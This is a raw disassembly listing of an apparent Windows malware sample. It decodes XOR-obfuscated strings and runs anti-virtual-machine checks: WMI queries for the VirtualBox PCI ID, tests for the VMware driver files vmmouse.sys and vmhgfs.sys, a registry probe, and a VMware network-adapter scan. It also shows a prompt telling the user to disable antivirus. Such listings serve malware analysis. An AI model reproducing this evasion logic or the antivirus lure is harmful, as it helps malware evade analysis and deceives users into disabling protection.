mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x10d0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x10d8], rax
movdqa xmm0, xmmword [rbp + 0x3a0]
xorps xmm0, xmmword [rbp + 0x10d0]
movdqa xmmword [rbp + 0x3a0], xmm0
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp + 0x9c0]
call fcn.140012260
nop
lea rdx, [rbp + 0x9c0]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0x9c0]
call fcn.140008650
inc r14d
mov qword [rbp + 0xc50], r12
lea rdx, [rbp + 0xc50]
lea rcx, str.rootcimv2
call fcn.14003d540
cmp eax, 1
jne 0x1400355d8
mov rdi, qword [rbp + 0xc50]
mov esi, r12d
mov qword [rbp + 0xc40], r12
lea rcx, [0x1401018d0]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov r12, rax
lea rcx, str.SELECT_DeviceId_FROM_Win32_PnPEntity
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov r13, rax
mov rdx, qword [rdi]
mov rbx, qword [rdx + 0xa0]
lea rax, [rbp + 0xc40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, r13
mov rdx, r12
mov rcx, rdi
call rbx
test eax, eax
js 0x140035496
mov rcx, qword [rbp + 0xc40]
test rcx, rcx
je 0x140035496
mov dword [rbp + 0xcb0], esi
test esi, esi
jne 0x140035490
mov rax, qword [rcx]
mov rax, qword [rax + 0x20]
lea rdx, [rbp + 0xcb0]
mov qword [rsp + 0x20], rdx
lea r9, [rbp + 0x1600]
lea edx, [rsi - 1]
lea r8d, [rsi + 0xa]
call rax
mov r15d, eax
test eax, eax
js 0x140035480
xor ebx, ebx
cmp dword [rbp + 0xcb0], ebx
jbe 0x140035480
test esi, esi
jne 0x140035480
lea rdi, [rbp + 0x1600]
lea rdi, [rdi + rbx*8]
mov rcx, qword [rdi]
mov dword [rbp + 0xcb8], 0xfff
mov rax, qword [rcx]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x28], 0
lea rdx, [rbp + 0xcb8]
mov qword [rsp + 0x20], rdx
lea r9, [rbp + 0xc80]
xor r8d, r8d
lea rdx, str.DeviceId
call rax
test eax, eax
js 0x140035467
cmp word [rbp + 0xc80], 1
je 0x140035467
cmp dword [rbp + 0xcb8], 8
jne 0x140035467
lea rdx, str.PCIVEN_80EEDEV_CAFE
mov rcx, qword [rbp + 0xc88]
call fcn.1400a8788
test rax, rax
setne sil
jmp 0x140035469
xor esi, esi
mov rcx, qword [rdi]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
inc ebx
cmp ebx, dword [rbp + 0xcb0]
jb 0x1400353e5
mov rcx, qword [rbp + 0xc40]
test r15d, r15d
je 0x1400353a1
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, r13
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, r12
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp + 0xc50]
test rcx, rcx
je 0x1400354ba
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
movabs r15, 0x914116c474b5c6f0
movabs rdi, 0xae46f0be90e66106
test esi, esi
movabs rsi, 0xba4a253bbaaf4c3d
je 0x1400355ce
movabs rax, 0xd3275264c2c02e4b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e0], rax
movabs rax, 0xdd2393d7e6830559
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e8], rax
movabs rcx, 0x65783f99f821666f
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x6f0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x6f8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1380], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1388], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1390], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1398], rax
vmovdqu ymm0, ymmword [rbp + 0x6e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1380]
vmovdqa ymmword [rbp + 0x6e0], ymm1
lea rdx, [rbp + 0x6e0]
lea rcx, [rbp + 0x9a0]
vzeroupper
call fcn.140012260
nop
lea rdx, [rbp + 0x9a0]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0x9a0]
call fcn.140008650
inc r14d
xor r12d, r12d
lea r13, [r12 - 1]
jmp 0x1400355f6
movabs rdi, 0xae46f0be90e66106
movabs rsi, 0xba4a253bbaaf4c3d
movabs r15, 0x914116c474b5c6f0
call fcn.140041970
movabs rbx, 0xc8154049dbd8214b
test eax, eax
je 0x1400356a1
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x450], rax
movabs rax, 0xae7789dbfbb90663
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1140], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1148], rax
movdqa xmm0, xmmword [rbp + 0x450]
xorps xmm0, xmmword [rbp + 0x1140]
movdqa xmmword [rbp + 0x450], xmm0
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x980]
call fcn.140012260
nop
lea rdx, [rbp + 0x980]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0x980]
call fcn.140008650
inc r14d
movabs rax, 0x7456ad2f5ad937ae
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x780], rax
movabs rax, 0x5cc17ebe8d833be1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x788], rax
movabs rax, 0xb2a27eda899b93db
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x790], rax
movabs rax, 0x64358cb7b4ed3929
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x798], rax
movabs rax, 0xd8a25cf30c26c651
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7a0], rax
movabs rax, 0xac4f5a26f14eb6c4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7a8], rax
movabs rax, 0x4e6a00c9736d12fc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7b0], rax
movabs rax, 0xb4b6ee397843f6bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7b8], rax
movabs rax, 0xc39a6481c65838e9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7c0], rax
movabs rcx, 0xb67e0564a5d4c55e
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x7c8], rax
movabs rax, 0x7402ad695a9637fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12a0], rax
movabs rax, 0x5c847eec8dc23bb6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12a8], rax
movabs rax, 0xb2d57e9789cd9387
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12b0], rax
movabs rax, 0x64198cd2b49f3948
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12b8], rax
movabs rax, 0xd8c15c9d0c6fc671
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12c0], rax
movabs rax, 0xac025a70f112b6ea
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12c8], rax
movabs rax, 0x4e0f00bb730c128b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12d0], rax
movabs rdx, 0xb4d9ee567817f69c
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x12d8], rax
movabs rax, 0xc39a6481c62b3885
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12e0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x12e8], rax
vmovdqu ymm0, ymmword [rbp + 0x780]
vpxor ymm1, ymm0, ymmword [rbp + 0x12a0]
vmovdqa ymmword [rbp + 0x780], ymm1
vmovdqu ymm0, ymmword [rbp + 0x12c0]
vpxor ymm0, ymm0, ymmword [rbp + 0x7a0]
vmovdqa ymmword [rbp + 0x7a0], ymm0
vmovdqa xmm1, xmmword [rbp + 0x7c0]
vxorps xmm1, xmm1, xmmword [rbp + 0x12e0]
vmovdqa xmmword [rbp + 0x7c0], xmm1
vzeroupper
call fcn.14003cde0
xor r8d, r8d
lea rdx, [rbp + 0x780]
mov rcx, 0xffffffff80000002
test eax, eax
lea rax, [rbp + 0xc60]
mov qword [rsp + 0x20], rax
mov r9d, 0x20119
jne 0x140035908
mov r9d, 0x20019
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400359b7
mov rcx, qword [rbp + 0xc60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x460], rax
movabs rax, 0xae7489dbfbb90663
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x468], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1150], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1158], rax
movdqa xmm0, xmmword [rbp + 0x460]
xorps xmm0, xmmword [rbp + 0x1150]
movdqa xmmword [rbp + 0x460], xmm0
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x960]
call fcn.140012260
nop
lea rdx, [rbp + 0x960]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0x960]
call fcn.140008650
inc r14d
movups xmm0, xmmword [str.C:WINDOWS_system32drivers_vmmouse.sys]
movups xmmword [rbp + 0x16e0], xmm0
movups xmm1, xmmword [0x140101a38]
movups xmmword [rbp + 0x16f0], xmm1
movsd xmm0, qword [0x140101a48]
movsd qword [rbp + 0x1700], xmm0
lea rcx, [rbp + 0x16e0]
call fcn.14003cf30
movabs rbx, 0xc9154049dbd8214b
test eax, eax
je 0x140035a95
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
movabs rax, 0xae7795d2f980127f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1160], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1168], rax
movdqa xmm0, xmmword [rbp + 0x280]
xorps xmm0, xmmword [rbp + 0x1160]
movdqa xmmword [rbp + 0x280], xmm0
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x920]
call fcn.140012260
nop
lea rdx, [rbp + 0x920]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0x920]
call fcn.140008650
inc r14d
movups xmm0, xmmword [str.C:WINDOWS_system32drivers_vmhgfs.sys]
movups xmmword [rbp + 0x1658], xmm0
movups xmm1, xmmword [0x140101a60]
movups xmmword [rbp + 0x1668], xmm1
mov eax, dword [0x140101a70]
mov dword [rbp + 0x1678], eax
movzx eax, word [0x140101a74]
mov word [rbp + 0x167c], ax
movzx eax, byte [0x140101a76]
mov byte [rbp + 0x167e], al
lea rcx, [rbp + 0x1658]
call fcn.14003cf30
test eax, eax
je 0x140035b80
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
movabs rax, 0xae7495d2f980127f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1180], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1188], rax
movdqa xmm0, xmmword [rbp + 0x290]
xorps xmm0, xmmword [rbp + 0x1180]
movdqa xmmword [rbp + 0x290], xmm0
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0xaa0]
call fcn.140012260
nop
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0xaa0]
call fcn.140008650
inc r14d
call fcn.140041fc0
test eax, eax
je 0x140035c2b
movabs rax, 0xd7154049dbd8214b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
movabs rax, 0xae46f0be90e60267
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1190], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1198], rax
movdqa xmm0, xmmword [rbp + 0x2a0]
xorps xmm0, xmmword [rbp + 0x1190]
movdqa xmmword [rbp + 0x2a0], xmm0
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x9e0]
call fcn.140012260
nop
lea rdx, [rbp + 0x9e0]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0x9e0]
call fcn.140008650
inc r14d
call fcn.140042390
test eax, eax
je 0x140035cd6
movabs rax, 0xde154049dbd8214b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
movabs rax, 0xae4683dbf38f1763
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1130], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1138], rax
movdqa xmm0, xmmword [rbp + 0x2b0]
xorps xmm0, xmmword [rbp + 0x1130]
movdqa xmmword [rbp + 0x2b0], xmm0
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x880]
call fcn.140012260
nop
lea rdx, [rbp + 0x880]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0x880]
call fcn.140008650
inc r14d
mov dword [rbp + 0xc38], r12d
mov qword [rbp + 0xcd8], r12
mov qword [rsp + 0x20], r13
lea r9, str.VMware
mov r8d, 0x400
lea rdx, [rbp + 0x2000]
lea rcx, [rbp + 0xcd8]
call fcn.1400ba5f4
lea rdx, [rbp + 0xc38]
xor ecx, ecx
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
cmp eax, 0x6f
jne 0x140035dcf
mov edx, dword [rbp + 0xc38]
lea ecx, [rax - 0x2f]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
mov qword [rbp + 0xcc8], rax
mov qword [rbp + 0xcd0], rbx
test rbx, rbx
je 0x140035dc0
lea rdx, [rbp + 0xc38]
mov rcx, rbx
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
mov rbx, qword [rbp + 0xcd0]
test eax, eax
jne 0x140035dc0
test rbx, rbx
je 0x140035dc0
nop dword [rax]
lea r9, [rbx + 0x110]
mov qword [rsp + 0x20], r13
mov r8d, 0x400
lea rdx, [rbp + 0x2800]
lea rcx, [rbp + 0xcd8]
call fcn.1400ba5f4
lea rdx, [rbp + 0x2000]
lea rcx, [rbp + 0x2800]
call fcn.1400a8788
test rax, rax
jne 0x140035f26
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140035d70
mov rbx, qword [rbp + 0xcd0]
test rbx, rbx
je 0x140035dcf
mov rcx, rbx
call qword [rbp + 0xcc8]
nop
movabs rbx, 0x65783f99f821666f
call fcn.1400428f0
test eax, eax
je 0x140035ece
movabs rax, 0xcd154049dbd8214b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x720], rax
movabs rax, 0xcf2f82dbe3b9086b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x728], rax
movabs rax, 0x65783f99f8216603
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x730], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x738], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x13c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x13c8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x13d0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x13d8], rax
vmovdqu ymm0, ymmword [rbp + 0x720]
vpxor ymm1, ymm0, ymmword [rbp + 0x13c0]
vmovdqa ymmword [rbp + 0x720], ymm1
lea rdx, [rbp + 0x720]
lea rcx, [rbp + 0xbe0]
vzeroupper
call fcn.140012260
nop
lea rdx, [rbp + 0xbe0]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0xbe0]
call fcn.140008650
inc r14d
cmp r14d, 4
jg 0x140036058
call fcn.140036080
call fcn.140030310
cmp al, 1
je 0x140036030
lea rcx, [rbp + 0xc98]
call fcn.140013b30
mov rcx, qword [rbp + 0x3000]
xor rcx, rsp
call fcn.1400a6610
lea r11, [rsp + 0x3070]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rcx, qword [rbp + 0xcd0]
test rcx, rcx
je 0x140035f39
call qword [rbp + 0xcc8]
nop
movabs rax, 0xdb154049dbd8214b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x700], rax
movabs rax, 0xc01982dbe4960062
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x708], rax
movabs rax, 0x65783f99f8440b0e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x710], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x718], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x13a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x13a8], rax
movabs rbx, 0x65783f99f821666f
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x13b0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x13b8], rax
vmovdqu ymm0, ymmword [rbp + 0x700]
vpxor ymm1, ymm0, ymmword [rbp + 0x13a0]
vmovdqa ymmword [rbp + 0x700], ymm1
lea rdx, [rbp + 0x700]
lea rcx, [rbp + 0xc00]
vzeroupper
call fcn.140012260
nop
lea rdx, [rbp + 0xc00]
lea rcx, [rbp + 0xc98]
call fcn.140037300
nop
lea rcx, [rbp + 0xc00]
call fcn.140008650
inc r14d
jmp 0x140035dd9
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Error
lea rdx, str.Your_antivirus_is_not_disabled___Please_disable_it_before_running_the_program
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
call fcn.1400b9a1c
int3
call fcn.1400b90b8
int3
lea rdx, [rbp + 0xc98]
lea rcx, [rbp + 0xc20]
call fcn.140037350
mov rcx, rax
call fcn.14000f030
call fcn.1400310d0
call fcn.1400b9a1c
int3